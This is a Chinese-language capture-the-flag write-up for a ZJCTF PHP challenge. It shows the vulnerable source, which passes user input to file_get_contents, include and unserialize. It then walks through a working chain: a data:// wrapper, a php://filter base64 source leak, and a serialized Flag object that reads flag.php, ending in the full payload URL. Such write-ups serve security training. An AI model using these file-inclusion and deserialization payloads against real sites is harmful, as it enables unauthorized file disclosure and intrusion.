<?php
$text = $_GET["text"];
$file = $_GET["file"];
$password = $_GET["password"];
if(isset($text)&&(file_get_contents($text,'r')==="welcome to the zjctf")){
echo "<br><h1>".file_get_contents($text,'r')."</h1></br>";
if(preg_match("/flag/",$file)){
echo "Not now!";
exit();
}else{
include($file); //useless.php
$password = unserialize($password);
echo $password;
}
}
else{
highlight_file(__FILE__);
}
?>
-
第一个参数
需要读取文件 且内容为welcome to the zjctf
通过data伪协议写入text=data://text/plain,welcome to the zjctf
-
第二个参数
$file通过include()函数包含useless.php,界面为空
使用php://filter读取函数,构造&file=php://filter/read=convert.base64-encode/resource=useless.php
回显
base64解码可得
<?php
class Flag{ //flag.php
public $file;
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
?>
- 第三个参数
$password可控,且对象被当作字符串时echo $password;
会调用__tostring()包含文件
因此,构造序列化
<?php
class Flag{ //flag.php
public $file = 'flag.php';
public function __tostring(){
if(isset($this->file)){
echo file_get_contents($this->file);
echo "<br>";
return ("U R SO CLOSE !///COME ON PLZ");
}
}
}
$test = new Flag();
echo serialize($test);
?>
得到O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
payload/?text=data://text/plain,welcome to the zjctf&file=useless.php&password=O:4:"Flag":1:{s:4:"file";s:8:"flag.php";}
查看源代码 v_v